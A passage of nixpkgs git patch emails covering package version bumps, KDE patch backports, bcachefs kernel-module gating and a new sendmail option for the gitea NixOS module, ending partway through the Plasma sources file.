2aa9f0db329a5de14556d9c357f3ae9c7513c90b Mon Sep 17 00:00:00 2001 From: K900 Date: Tue, 24 Jun 2025 10:27:49 +0300 Subject: [PATCH 283/390] kdePackages.kirigami: backport patch recommended by upstream --- pkgs/kde/frameworks/kirigami/default.nix | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/pkgs/kde/frameworks/kirigami/default.nix b/pkgs/kde/frameworks/kirigami/default.nix index 83edf8c52654..0c5a3764d71a 100644 --- a/pkgs/kde/frameworks/kirigami/default.nix +++ b/pkgs/kde/frameworks/kirigami/default.nix @@ -1,5 +1,6 @@ { stdenv, + fetchpatch, mkKdeDerivation, qtsvg, qttools, @@ -17,6 +18,15 @@ let unwrapped = mkKdeDerivation { pname = "kirigami"; + # Backport patch recommended by upstream + # FIXME: remove in next update + patches = [ + (fetchpatch { + url = "https://invent.kde.org/frameworks/kirigami/-/commit/21788be688de90d4f12edb9f45967a481801bd5e.patch"; + hash = "sha256-BNp1Sc0qSXBJkyKSYW6sq0s2yN959iwnSxaZtOTmaNc="; + }) + ]; + extraNativeBuildInputs = [ qtsvg qttools From 33ce0ba4f9b590748289ad6b172b375f3736f389 Mon Sep 17 00:00:00 2001 From: K900 Date: Tue, 24 Jun 2025 10:28:21 +0300 Subject: [PATCH 284/390] kdePackages.kdepim-runtime: backport patch recommended by upstream --- pkgs/kde/gear/kdepim-runtime/default.nix | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/pkgs/kde/gear/kdepim-runtime/default.nix b/pkgs/kde/gear/kdepim-runtime/default.nix index e3cd581afcd5..f210af44c828 100644 --- a/pkgs/kde/gear/kdepim-runtime/default.nix +++ b/pkgs/kde/gear/kdepim-runtime/default.nix @@ -1,4 +1,5 @@ { + fetchpatch, mkKdeDerivation, pkg-config, shared-mime-info, @@ -14,6 +15,15 @@ mkKdeDerivation { pname = "kdepim-runtime"; + # Backport patch recommended by upstream + # FIXME: remove in next update + patches = [ + (fetchpatch { + url = "https://invent.kde.org/pim/kdepim-runtime/-/commit/25202045186262a081c960461a8b791f84fccb5c.patch"; + hash = "sha256-D769X/v16drueNNr4HfbIZPpjNul8qiKHpOu0BNcbc8="; + }) + ]; + extraNativeBuildInputs = [ pkg-config shared-mime-info From f9bd91aa07c30359540aeec8613a29f0b742f540 Mon Sep 17 00:00:00 2001 From: qubitnano <146656568+qubitnano@users.noreply.github.com> Date: Sat, 21 Jun 2025 15:05:39 -0400 Subject: [PATCH 285/390] nixos/bcachefs: include poly1305 and chacha20 kernel modules for kernel < 6.15 Kernel 6.16-rc1 removed the poly1305 algorithm in ceef731b0e22df80a13d67773ae9afd55a971f9e bcachefs switched to the kernel libraries for poly1305 and chacha20 in 6.15 in 4bf4b5046de0ef7f9dc50f3a9ef8a6dcda178a6d --- nixos/modules/tasks/filesystems/bcachefs.nix | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/nixos/modules/tasks/filesystems/bcachefs.nix b/nixos/modules/tasks/filesystems/bcachefs.nix index 75a3fb21686c..b0f6f916d74e 100644 --- a/nixos/modules/tasks/filesystems/bcachefs.nix +++ b/nixos/modules/tasks/filesystems/bcachefs.nix @@ -206,13 +206,18 @@ in (lib.mkIf ((config.boot.initrd.supportedFilesystems.bcachefs or false) || (bootFs != { })) { inherit assertions; - # chacha20 and poly1305 are required only for decryption attempts - boot.initrd.availableKernelModules = [ - "bcachefs" - "sha256" - "chacha20" - "poly1305" - ]; + boot.initrd.availableKernelModules = + [ + "bcachefs" + "sha256" + ] + ++ lib.optionals (config.boot.kernelPackages.kernel.kernelOlder "6.15") [ + # chacha20 and poly1305 are required only for decryption attempts + # kernel 6.15 uses kernel api libraries for poly1305/chacha20: 4bf4b5046de0ef7f9dc50f3a9ef8a6dcda178a6d + # kernel 6.16 removes poly1305: ceef731b0e22df80a13d67773ae9afd55a971f9e + "poly1305" + "chacha20" + ]; boot.initrd.systemd.extraBin = { # do we need this? boot/systemd.nix:566 & boot/systemd/initrd.nix:357 "bcachefs" = "${pkgs.bcachefs-tools}/bin/bcachefs"; From 0c909a5522020455d518a7f028e4850d55080bf6 Mon Sep 17 00:00:00 2001 From: Paul Meyer Date: Tue, 24 Jun 2025 10:27:40 +0200 Subject: [PATCH 286/390] libnvidia-container: 1.17.6 -> 1.17.8 Signed-off-by: Paul Meyer --- .../0001-ldcache-don-t-use-ldcache.patch | 26 ++++++++++--------- ...dia-docker-compatible-binary-lookups.patch | 2 +- .../li/libnvidia-container/package.nix | 4 +-- 3 files changed, 17 insertions(+), 15 deletions(-) diff --git a/pkgs/by-name/li/libnvidia-container/0001-ldcache-don-t-use-ldcache.patch b/pkgs/by-name/li/libnvidia-container/0001-ldcache-don-t-use-ldcache.patch index 1a26140b8bee..35210d9b81cf 100644 --- a/pkgs/by-name/li/libnvidia-container/0001-ldcache-don-t-use-ldcache.patch +++ b/pkgs/by-name/li/libnvidia-container/0001-ldcache-don-t-use-ldcache.patch @@ -8,8 +8,8 @@ This patch hinders libnvidia-container from using the loader cache, which doesn' src/ldcache.c | 46 +++++++++++++++++----------------------------- src/ldcache.h | 2 +- src/nvc_info.c | 8 ++------ - src/nvc_ldcache.c | 2 +- - 4 files changed, 21 insertions(+), 37 deletions(-) + src/nvc_ldcache.c | 4 ++-- + 4 files changed, 22 insertions(+), 38 deletions(-) diff --git a/src/ldcache.c b/src/ldcache.c index 38bab0553208f66b2866ccea6cdb0faca4357f19..1c4acd52b622be4ca6accdc80da5a6fcf9ae67dd 100644 @@ -86,7 +86,7 @@ index 33d78dd7e21f65eb696535c115bbd2839a6c67ca..2b087dbca1a6a2946cd495e676a61e95 #endif /* HEADER_LDCACHE_H */ diff --git a/src/nvc_info.c b/src/nvc_info.c -index b7b8adfa7c79c326a1acb481a06a05d1463e810f..cf4b1905fd2127c28ee16649501be122d3be5261 100644 +index bcc887b2345bd42a098f9b85d9c66fae2775f736..5eaef61ada5e955ab11c6a4eb8429c50468e3370 100644 --- a/src/nvc_info.c +++ b/src/nvc_info.c @@ -217,15 +217,13 @@ find_library_paths(struct error *err, struct dxcore_context *dxcore, struct nvc_ @@ -122,15 +122,17 @@ index b7b8adfa7c79c326a1acb481a06a05d1463e810f..cf4b1905fd2127c28ee16649501be122 } diff --git a/src/nvc_ldcache.c b/src/nvc_ldcache.c -index db3b2f69692270e9058b2e26f18eb31677909d05..ae5def43b4cb3973af3aad55361265173ca938a7 100644 +index 0535090dafbae5a00acb707bbbb5a35dbcea4a7a..5de429f4c2ea62775403a5fc1ed0f23a6c88655c 100644 --- a/src/nvc_ldcache.c +++ b/src/nvc_ldcache.c -@@ -367,7 +367,7 @@ nvc_ldcache_update(struct nvc_context *ctx, const struct nvc_container *cnt) - if (validate_args(ctx, cnt != NULL) < 0) - return (-1); - -- argv = (char * []){cnt->cfg.ldconfig, "-f", "/etc/ld.so.conf", "-C", "/etc/ld.so.cache", cnt->cfg.libs_dir, cnt->cfg.libs32_dir, NULL}; -+ argv = (char * []){cnt->cfg.ldconfig, "-f", "/tmp/ld.so.conf.nvidia-host", "-C", "/tmp/ld.so.cache.nvidia-host", cnt->cfg.libs_dir, cnt->cfg.libs32_dir, NULL}; - if (*argv[0] == '@') { +@@ -482,8 +482,8 @@ nvc_ldcache_update(struct nvc_context *ctx, const struct nvc_container *cnt) + * See https://github.com/NVIDIA/libnvidia-container/issues/316 for an + * in-depth investigation. + */ +- char *argv_default[] = {cnt->cfg.ldconfig, "-f", "/etc/ld.so.conf", "-C", "/etc/ld.so.cache", cnt->cfg.libs_dir, cnt->cfg.libs32_dir, NULL}; +- char *argv_with_compat_dir[] = {cnt->cfg.ldconfig, "-f", "/etc/ld.so.conf", "-C", "/etc/ld.so.cache", cnt->cuda_compat_dir, cnt->cfg.libs_dir, cnt->cfg.libs32_dir, NULL}; ++ char *argv_default[] = {cnt->cfg.ldconfig, "-f", "/tmp/ld.so.conf.nvidia-host", "-C", "/tmp/ld.so.cache.nvidia-host", cnt->cfg.libs_dir, cnt->cfg.libs32_dir, NULL}; ++ char *argv_with_compat_dir[] = {cnt->cfg.ldconfig, "-f", "/tmp/ld.so.conf.nvidia-host", "-C", "/tmp/ld.so.cache.nvidia-host", cnt->cuda_compat_dir, cnt->cfg.libs_dir, cnt->cfg.libs32_dir, NULL}; + if ((cnt->flags & OPT_CUDA_COMPAT_MODE_LDCONFIG) && (cnt->cuda_compat_dir != NULL)) { /* - * We treat this path specially to be relative to the host filesystem. + * We include the cuda_compat_dir directory on the ldconfig diff --git a/pkgs/by-name/li/libnvidia-container/0002-nvc-nvidia-docker-compatible-binary-lookups.patch b/pkgs/by-name/li/libnvidia-container/0002-nvc-nvidia-docker-compatible-binary-lookups.patch index 8abcee55719d..0a2b3e47ac45 100644 --- a/pkgs/by-name/li/libnvidia-container/0002-nvc-nvidia-docker-compatible-binary-lookups.patch +++ b/pkgs/by-name/li/libnvidia-container/0002-nvc-nvidia-docker-compatible-binary-lookups.patch @@ -9,7 +9,7 @@ This patch maintains compatibility with NixOS' `virtualisation.docker.enableNvid 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/nvc_info.c b/src/nvc_info.c -index cf4b1905fd2127c28ee16649501be122d3be5261..cdfa19721bc913d8e2adb96d106cd65ee6111623 100644 +index 5eaef61ada5e955ab11c6a4eb8429c50468e3370..cac87500213e961e603494ac842d02522fc46a5e 100644 --- a/src/nvc_info.c +++ b/src/nvc_info.c @@ -249,10 +249,13 @@ find_binary_paths(struct error *err, struct dxcore_context* dxcore, struct nvc_d diff --git a/pkgs/by-name/li/libnvidia-container/package.nix b/pkgs/by-name/li/libnvidia-container/package.nix index 6f5119017601..41203992276e 100644 --- a/pkgs/by-name/li/libnvidia-container/package.nix +++ b/pkgs/by-name/li/libnvidia-container/package.nix @@ -32,13 +32,13 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "libnvidia-container"; - version = "1.17.6"; + version = "1.17.8"; src = fetchFromGitHub { owner = "NVIDIA"; repo = "libnvidia-container"; tag = "v${finalAttrs.version}"; - hash = "sha256-kveP0Px9Fds7pS39aW+cqg2jtiQCMN2zG4GTGRqRrc0="; + hash = "sha256-OzjcYxnWjzgmrjERyPN3Ch3EQj4t1J5/TbATluoDESg="; }; patches = [ From 64b6c52e5a8401a986133398a133d7a4a2dee26b Mon Sep 17 00:00:00 2001 From: Christoph Heiss Date: Tue, 24 Jun 2025 11:14:15 +0200 Subject: [PATCH 287/390] floorp: 11.27.0 -> 11.28.0 Git changelog: https://github.com/Floorp-Projects/Floorp/compare/v11.27.0...v11.28.0 Release notes: https://blog.floorp.app/en/release/11.28.0.html Signed-off-by: Christoph Heiss --- pkgs/applications/networking/browsers/floorp/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/networking/browsers/floorp/default.nix b/pkgs/applications/networking/browsers/floorp/default.nix index 2538b67d31f2..a27fde9b1d01 100644 --- a/pkgs/applications/networking/browsers/floorp/default.nix +++ b/pkgs/applications/networking/browsers/floorp/default.nix @@ -9,7 +9,7 @@ ( (buildMozillaMach rec { pname = "floorp"; - packageVersion = "11.27.0"; + packageVersion = "11.28.0"; applicationName = "Floorp"; binaryName = "floorp"; branding = "browser/branding/official"; @@ -24,7 +24,7 @@ repo = "Floorp"; fetchSubmodules = true; rev = "v${packageVersion}"; - hash = "sha256-lQ84NNWlu4hVKK/CDIDS5JKGdD4i7TTjv4x/dQhDJwo="; + hash = "sha256-2BSl7RHhqFAYSpshBYxuVWwLlVXdOT3xgH4tva5ShY4="; }; extraConfigureFlags = [ From 80cec4fc92ef19d522a17b7ad500d65573aaf299 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 09:28:45 +0000 Subject: [PATCH 288/390] python3Packages.sagemaker-core: 1.0.37 -> 1.0.40 --- pkgs/development/python-modules/sagemaker-core/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/sagemaker-core/default.nix b/pkgs/development/python-modules/sagemaker-core/default.nix index 0a6eed7c56dc..753631c1fa98 100644 --- a/pkgs/development/python-modules/sagemaker-core/default.nix +++ b/pkgs/development/python-modules/sagemaker-core/default.nix @@ -28,14 +28,14 @@ buildPythonPackage rec { pname = "sagemaker-core"; - version = "1.0.37"; + version = "1.0.40"; pyproject = true; src = fetchFromGitHub { owner = "aws"; repo = "sagemaker-core"; tag = "v${version}"; - hash = "sha256-MnCBsJiXVHaDm6Cn4F7LUTDyFQBt2jALHXyTGNjlsZw="; + hash = "sha256-c/qaAdiQHY7w3h9qxDO/2U9W01xpJjBGx5Ohh9P7Jxk="; }; build-system = [ From e675b860512c438cd64968ce5f48e8c5481c2fd6 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 09:32:29 +0000 Subject: [PATCH 289/390] python3Packages.bthome-ble: 3.13.0 -> 3.13.1 --- pkgs/development/python-modules/bthome-ble/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/bthome-ble/default.nix b/pkgs/development/python-modules/bthome-ble/default.nix index 15a164235268..9e45c3f9c4d7 100644 --- a/pkgs/development/python-modules/bthome-ble/default.nix +++ b/pkgs/development/python-modules/bthome-ble/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "bthome-ble"; - version = "3.13.0"; + version = "3.13.1"; pyproject = true; disabled = pythonOlder "3.9"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "Bluetooth-Devices"; repo = "bthome-ble"; tag = "v${version}"; - hash = "sha256-e6R3Qjj82z0E+gIxqDVM08Op3KlK9ZG1iNmkqqIEjWY="; + hash = "sha256-oGFjWe9e386EPAJGKL8Qk55iXoyW3rXuyG7ElyQYurg="; }; build-system = [ poetry-core ]; From f5c5dc5f5beea769427924e839ae7b18eb507404 Mon Sep 17 00:00:00 2001 From: Izorkin Date: Sun, 8 Jun 2025 12:51:50 +0300 Subject: [PATCH 290/390] nixos/gitea/mailer: fix using sendmail --- .../manual/release-notes/rl-2511.section.md | 2 ++ nixos/modules/services/misc/gitea.nix | 34 ++++++++++++++----- 2 files changed, 27 insertions(+), 9 deletions(-) diff --git a/nixos/doc/manual/release-notes/rl-2511.section.md b/nixos/doc/manual/release-notes/rl-2511.section.md index 33da2dbb3990..86ea1202b2a6 100644 --- a/nixos/doc/manual/release-notes/rl-2511.section.md +++ b/nixos/doc/manual/release-notes/rl-2511.section.md @@ -92,6 +92,8 @@ - `services.dnscrypt-proxy2` gains a `package` option to specify dnscrypt-proxy package to use. +- `services.gitea` supports sending notifications with sendmail again. To do this, activate the parameter `services.gitea.mailerUseSendmail` and configure SMTP server. + - `amdgpu` kernel driver overdrive mode can now be enabled by setting [hardware.amdgpu.overdrive.enable](#opt-hardware.amdgpu.overdrive.enable) and customized through [hardware.amdgpu.overdrive.ppfeaturemask](#opt-hardware.amdgpu.overdrive.ppfeaturemask). This allows for fine-grained control over the GPU's performance and maybe required by overclocking softwares like Corectrl and Lact. These new options replace old options such as {option}`programs.corectrl.gpuOverclock.enable` and {option}`programs.tuxclocker.enableAMD`. diff --git a/nixos/modules/services/misc/gitea.nix b/nixos/modules/services/misc/gitea.nix index 568a301232f9..f6cccd13f822 100644 --- a/nixos/modules/services/misc/gitea.nix +++ b/nixos/modules/services/misc/gitea.nix @@ -366,6 +366,15 @@ in description = "Path to a file containing the SMTP password."; }; + mailerUseSendmail = mkOption { + type = types.bool; + default = false; + description = '' + Use the operating system's sendmail command instead of SMTP. + Note: some sandbox settings will be disabled. + ''; + }; + metricsTokenFile = mkOption { type = types.nullOr types.str; default = null; @@ -652,9 +661,15 @@ in }) ]); - mailer = mkIf (cfg.mailerPasswordFile != null) { - PASSWD = "#mailerpass#"; - }; + mailer = mkMerge [ + (mkIf (cfg.mailerPasswordFile != null) { + PASSWD = "#mailerpass#"; + }) + (mkIf cfg.mailerUseSendmail { + PROTOCOL = "sendmail"; + SENDMAIL_PATH = "/run/wrappers/bin/sendmail"; + }) + ]; metrics = mkIf (cfg.metricsTokenFile != null) { TOKEN = "#metricstoken#"; @@ -867,18 +882,18 @@ in cfg.repositoryRoot cfg.stateDir cfg.lfs.contentDir - ]; + ] ++ optional cfg.mailerUseSendmail "/var/lib/postfix/queue/maildrop"; UMask = "0027"; # Capabilities CapabilityBoundingSet = ""; # Security - NoNewPrivileges = true; + NoNewPrivileges = optional (!cfg.mailerUseSendmail) true; # Sandboxing ProtectSystem = "strict"; ProtectHome = true; PrivateTmp = true; PrivateDevices = true; - PrivateUsers = true; + PrivateUsers = optional (!cfg.mailerUseSendmail) true; ProtectHostname = true; ProtectClock = true; ProtectKernelTunables = true; @@ -889,7 +904,7 @@ in "AF_UNIX" "AF_INET" "AF_INET6" - ]; + ] ++ optional cfg.mailerUseSendmail "AF_NETLINK"; RestrictNamespaces = true; LockPersonality = true; MemoryDenyWriteExecute = true; @@ -900,9 +915,9 @@ in # System Call Filtering SystemCallArchitectures = "native"; SystemCallFilter = [ - "~@cpu-emulation @debug @keyring @mount @obsolete @privileged @setuid" + "~@cpu-emulation @debug @keyring @mount @obsolete @setuid" "setrlimit" - ]; + ] ++ optional (!cfg.mailerUseSendmail) "~@privileged"; }; environment = { @@ -978,6 +993,7 @@ in timerConfig.OnCalendar = cfg.dump.interval; }; }; + meta.maintainers = with lib.maintainers; [ ma27 techknowlogick From 5b0ed1eac9ccb1e21ad3a4c9fd5beb8fdc68e76e Mon Sep 17 00:00:00 2001 From: Izorkin Date: Mon, 9 Jun 2025 20:08:00 +0300 Subject: [PATCH 291/390] nixos/gitea/mailer: update example configuration Updated the email configuration example, as the previous example did not work. --- nixos/modules/services/misc/gitea.nix | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/nixos/modules/services/misc/gitea.nix b/nixos/modules/services/misc/gitea.nix index f6cccd13f822..3293094f994f 100644 --- a/nixos/modules/services/misc/gitea.nix +++ b/nixos/modules/services/misc/gitea.nix @@ -411,9 +411,11 @@ in }; mailer = { ENABLED = true; - MAILER_TYPE = "sendmail"; - FROM = "do-not-reply@example.org"; - SENDMAIL_PATH = "''${pkgs.system-sendmail}/bin/sendmail"; + PROTOCOL = "smtp+starttls"; + SMTP_ADDR = "smtp.example.org"; + SMTP_PORT = "587"; + FROM = "Gitea Service "; + USER = "do-not-reply@example.org"; }; other = { SHOW_FOOTER_VERSION = false; From 336878fe043366c5bcac3f31b6bc6cb117f4e59a Mon Sep 17 00:00:00 2001 From: Paul Meyer Date: Tue, 24 Jun 2025 11:53:20 +0200 Subject: [PATCH 292/390] libnvidia-container: add katexochen as maintainer Signed-off-by: Paul Meyer --- pkgs/by-name/li/libnvidia-container/package.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/by-name/li/libnvidia-container/package.nix b/pkgs/by-name/li/libnvidia-container/package.nix index 41203992276e..684d303c2e64 100644 --- a/pkgs/by-name/li/libnvidia-container/package.nix +++ b/pkgs/by-name/li/libnvidia-container/package.nix @@ -175,6 +175,7 @@ stdenv.mkDerivation (finalAttrs: { maintainers = with lib.maintainers; [ cpcloud msanft + katexochen ]; }; }) From c51f10d7cf647ebba79740c889788a5fbd85f513 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 09:54:10 +0000 Subject: [PATCH 293/390] vscode-extensions.ms-windows-ai-studio.windows-ai-studio: 0.14.3 -> 0.14.4 --- .../ms-windows-ai-studio.windows-ai-studio/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/editors/vscode/extensions/ms-windows-ai-studio.windows-ai-studio/default.nix b/pkgs/applications/editors/vscode/extensions/ms-windows-ai-studio.windows-ai-studio/default.nix index 91b52c9f4065..c405637b6c30 100644 --- a/pkgs/applications/editors/vscode/extensions/ms-windows-ai-studio.windows-ai-studio/default.nix +++ b/pkgs/applications/editors/vscode/extensions/ms-windows-ai-studio.windows-ai-studio/default.nix @@ -7,8 +7,8 @@ vscode-utils.buildVscodeMarketplaceExtension { mktplcRef = { name = "windows-ai-studio"; publisher = "ms-windows-ai-studio"; - version = "0.14.3"; - hash = "sha256-0wXgHr5M/HEMFgZFQlwJ/WDJLJG+o0cPj4cxiQuTFE8="; + version = "0.14.4"; + hash = "sha256-6QPDnfwXMVxC6qxeaAiTKeiuaxFyPNCFexEjgf5Emrg="; }; meta = { From 068d936b01123930afef3f388cececf739a4ae31 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Tue, 24 Jun 2025 13:13:17 +0200 Subject: [PATCH 294/390] python3Packages.homeassistant-stubs: 2025.6.1 -> 2025.6.2 https://github.com/KapJI/homeassistant-stubs/releases/tag/2025.6.2 --- pkgs/servers/home-assistant/stubs.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/servers/home-assistant/stubs.nix b/pkgs/servers/home-assistant/stubs.nix index 469f84ad4442..f2f9e0777792 100644 --- a/pkgs/servers/home-assistant/stubs.nix +++ b/pkgs/servers/home-assistant/stubs.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "homeassistant-stubs"; - version = "2025.6.1"; + version = "2025.6.2"; pyproject = true; disabled = python.version != home-assistant.python.version; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "KapJI"; repo = "homeassistant-stubs"; tag = version; - hash = "sha256-JTSIVe25EXZ7Bslkcz8/wLFJDx3f78OGsfDodtHMZ/Y="; + hash = "sha256-Hdk7Lf0J4wgx+xhrKtBgBtO+DzCqQ2sih5DaoYcsWww="; }; build-system = [ From b48485fd372114c510e2b50a223d803df595a56d Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Tue, 24 Jun 2025 13:13:55 +0200 Subject: [PATCH 295/390] home-assistant.python.pkgs.pytest-homeassistant-custom-component: 0.13.251 -> 0.13.253 https://github.com/MatthewFlamm/pytest-homeassistant-custom-component/blob/refs/tags/0.13.253/CHANGELOG.md --- .../home-assistant/pytest-homeassistant-custom-component.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/servers/home-assistant/pytest-homeassistant-custom-component.nix b/pkgs/servers/home-assistant/pytest-homeassistant-custom-component.nix index cb9ef628b7f5..7357971e2c3d 100644 --- a/pkgs/servers/home-assistant/pytest-homeassistant-custom-component.nix +++ b/pkgs/servers/home-assistant/pytest-homeassistant-custom-component.nix @@ -18,7 +18,7 @@ buildPythonPackage rec { pname = "pytest-homeassistant-custom-component"; - version = "0.13.251"; + version = "0.13.253"; pyproject = true; disabled = pythonOlder "3.13"; @@ -27,7 +27,7 @@ buildPythonPackage rec { owner = "MatthewFlamm"; repo = "pytest-homeassistant-custom-component"; rev = "refs/tags/${version}"; - hash = "sha256-S+BC3ohAsY11SdZZdlETskCAopKeohgb16vMpko01YY="; + hash = "sha256-P2ZYOHUc8tTzwSSUGKdm+zQD4hgVpewkKSg3GRpF70M="; }; build-system = [ setuptools ]; From ce884b9d048df582b562c200523a00b41ead20a8 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 11:14:54 +0000 Subject: [PATCH 296/390] novops: 0.20.0 -> 0.20.1 --- pkgs/by-name/no/novops/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/no/novops/package.nix b/pkgs/by-name/no/novops/package.nix index d0d6d9b60ff8..7c6317b72216 100644 --- a/pkgs/by-name/no/novops/package.nix +++ b/pkgs/by-name/no/novops/package.nix @@ -11,17 +11,17 @@ rustPlatform.buildRustPackage rec { pname = "novops"; - version = "0.20.0"; + version = "0.20.1"; src = fetchFromGitHub { owner = "PierreBeucher"; repo = "novops"; rev = "v${version}"; - hash = "sha256-TvlbA9RXuAPm1rN3VaIrVKMfyePT9oLSh87Bqclwcj8="; + hash = "sha256-F3MtDTaeLoI54/xbbIU61hb+qLDn2u4lRv+3kU5c/D0="; }; useFetchCargoVendor = true; - cargoHash = "sha256-oXOK8LQZ2+u566HIi0DYuocEsZMfj1ogkHciH8hFVR8="; + cargoHash = "sha256-F+JIAHk28qpJy97aQQup1Ss5G1p4LQzkj1ptjBhp1CY="; buildInputs = [ From 8bb91f9a07d688880253d1c1f446a5e4af7471d6 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 11:38:53 +0000 Subject: [PATCH 297/390] vscode-extensions.amazonwebservices.amazon-q-vscode: 1.75.0 -> 1.78.0 --- .../extensions/amazonwebservices.amazon-q-vscode/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/editors/vscode/extensions/amazonwebservices.amazon-q-vscode/default.nix b/pkgs/applications/editors/vscode/extensions/amazonwebservices.amazon-q-vscode/default.nix index ebc8d13d8343..8bb7378fcc6e 100644 --- a/pkgs/applications/editors/vscode/extensions/amazonwebservices.amazon-q-vscode/default.nix +++ b/pkgs/applications/editors/vscode/extensions/amazonwebservices.amazon-q-vscode/default.nix @@ -7,8 +7,8 @@ vscode-utils.buildVscodeMarketplaceExtension (finalAttrs: { mktplcRef = { name = "amazon-q-vscode"; publisher = "AmazonWebServices"; - version = "1.75.0"; - hash = "sha256-a6Hvk3q8nqHgjZujuEcJ6UlspJpXeLPNtFl0n1A+Wu0="; + version = "1.78.0"; + hash = "sha256-SnvH4WQ9kp9nHJkrQGvWj91XpUI0raP2ud57WViZBG4="; }; meta = { From c8f3eb842841eec9ed7a1ae7924d07b11dcc06ca Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 11:43:53 +0000 Subject: [PATCH 298/390] vscode-extensions.ionic.ionic: 1.104.0 -> 1.105.0 --- pkgs/applications/editors/vscode/extensions/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix index 52b5d7deb82a..f182160f47dc 100644 --- a/pkgs/applications/editors/vscode/extensions/default.nix +++ b/pkgs/applications/editors/vscode/extensions/default.nix @@ -2502,8 +2502,8 @@ let mktplcRef = { name = "ionic"; publisher = "ionic"; - version = "1.104.0"; - hash = "sha256-E3Hfs7YgZ4+eF0Pg7CI7fPFt6DEtFw0DdLq4BSY7vBQ="; + version = "1.105.0"; + hash = "sha256-wUYX7TmCyzKGPnl7LycfxN5axCGzq/T2/+XnSdPJJEI="; }; meta = { description = "Official VSCode extension for Ionic and Capacitor development"; From da696f5d727b95243d171349ca2bc325093a7acd Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 12:04:23 +0000 Subject: [PATCH 299/390] python3Packages.llama-cloud-services: 0.6.32 -> 0.6.36 --- .../python-modules/llama-cloud-services/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/llama-cloud-services/default.nix b/pkgs/development/python-modules/llama-cloud-services/default.nix index d70e1faafb76..a580fd06601d 100644 --- a/pkgs/development/python-modules/llama-cloud-services/default.nix +++ b/pkgs/development/python-modules/llama-cloud-services/default.nix @@ -17,14 +17,14 @@ buildPythonPackage rec { pname = "llama-cloud-services"; - version = "0.6.32"; + version = "0.6.36"; pyproject = true; src = fetchFromGitHub { owner = "run-llama"; repo = "llama_cloud_services"; tag = "v${version}"; - hash = "sha256-18Rt+MCI5vNJGsao/NPgzXuT4+fYsqaQN2KfjAQtxTM="; + hash = "sha256-m3XC4CiDUJemy7enWMG5iYGX6s7LGSfc16vGmDWhAic="; }; pythonRelaxDeps = [ "llama-cloud" ]; From ac9539cd82b477082f13dcc79943774f7b07ad2c Mon Sep 17 00:00:00 2001 From: K900 Date: Tue, 24 Jun 2025 15:18:54 +0300 Subject: [PATCH 300/390] kdePackages: Plasma 6.4.0 -> 6.4.1 --- pkgs/kde/generated/sources/plasma.json | 414 ++++++++++++------------- 1 file changed, 207 insertions(+), 207 deletions(-) diff --git a/pkgs/kde/generated/sources/plasma.json b/pkgs/kde/generated/sources/plasma.json index a8efae02fd77..c41e5437e303 100644 --- a/pkgs/kde/generated/sources/plasma.json +++ b/pkgs/kde/generated/sources/plasma.json @@ -1,347 +1,347 @@ { "aurorae": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/aurorae-6.4.0.tar.xz", - "hash": "sha256-VjxChfQmhIJW6SyISgWKVy1Z31q5pMi5BzhSJuxKwLI=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/aurorae-6.4.1.tar.xz", + "hash": "sha256-4hZ73nLjVc0AZXOeqNLNnR3z9D6beAn8VwKzs1K7/WU=" }, "bluedevil": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/bluedevil-6.4.0.tar.xz", - "hash": "sha256-8yb1EFCmDqwRNlKeFojg3ZAL1brP3cDn3ZQbLXV2rrk=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/bluedevil-6.4.1.tar.xz", + "hash": "sha256-mtR03dabzoVJgNMEL96JBb2UBZ/aqoAEJcds12J+Bu8=" }, "breeze": { - "version": "6.4.0", - "url": "mirror://kde/stable/plasma/6.4.0/breeze-6.4.0.tar.xz", - "hash": "sha256-z9s48KTixCjpylpf0SQAtoBKvN1TWbY2+lMno1Eh6GY=" + "version": "6.4.1", + "url": "mirror://kde/stable/plasma/6.4.1/breeze-6.4.1.tar.xz", + "hash": "sha256-T+AIX/ohsuOu9J3E5chi8i7xM5WpaBOHqZAwh0PwHFU=" }, "breeze-grub": { - "version": "6.4.0", - "url": 